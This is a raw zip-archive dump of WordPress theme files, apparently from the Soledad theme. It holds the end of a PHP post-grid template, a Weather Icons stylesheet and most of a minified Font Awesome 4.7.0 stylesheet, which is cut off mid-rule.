	<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
		<div class="penci-post-box-meta penci-post-box-grid">
			<div class="penci-post-share-box">
				<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
				<?php penci_soledad_social_share( );  ?>
			</div>
		</div>
	<?php endif; ?>
</article>

<?php 
if( isset( $infeed_ads ) && $infeed_ads ){
	penci_get_markup_infeed_ad(
		array(
			'wrapper' => 'article',
			'classes'      => 'item item-masonry grid-masonry penci-infeed-data',
			'fullwidth'	 => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	); 
}
?>
<?php $j++; ?>
PK     N\>_      css/weather-icon.swap.cssnu [        /*!
*  Weather Icons 2.0
*  Maintained at http://erikflowers.github.io/weather-icons
*/@font-face{font-family:weathericons;src:url(../fonts/weathericons.eot);src:url(../fonts/weathericons.eot?#iefix) format('embedded-opentype'),url(../fonts/weathericons.woff2) format('woff2'),url(../fonts/weathericons.woff) format('woff'),url(../fonts/weathericons.ttf) format('truetype'),url(../fonts/weathericons.svg#weather_iconsregular) format('svg');font-weight:400;font-display:swap;font-style:normal}.wi{display:inline-block;font-family:weathericons;font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wi-day-sunny:before{content:"\f00d"}.wi-cloudy:before{content:"\f013"}.wi-day-rain:before{content:"\f008"}.wi-day-thunderstorm:before{content:"\f010"}.wi-day-showers:before{content:"\f009"}.wi-day-cloudy-high:before{content:"\f07d"}.wi-night-clear:before{content:"\f02e"}.wi-night-alt-cloudy:before{content:"\f086"}.wi-night-cloudy:before{content:"\f031"}.wi-night-showers:before{content:"\f037"}.wi-night-rain:before{content:"\f036"}.wi-night-thunderstorm:before{content:"\f03b"}.wi-night-snow-wind:before{content:"\f066"}.wi-night-alt-cloudy-high:before{content:"\f07e"}.wi-windy:before{content:"\f021"}.wi-humidity:before{content: "\f078";}PK     N\={K;y  ;y  #  css/font-awesome.4.7.0.swap.min.cssnu [        /* = Font Awesome
 *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */
@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg'); font-display: swap; font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f2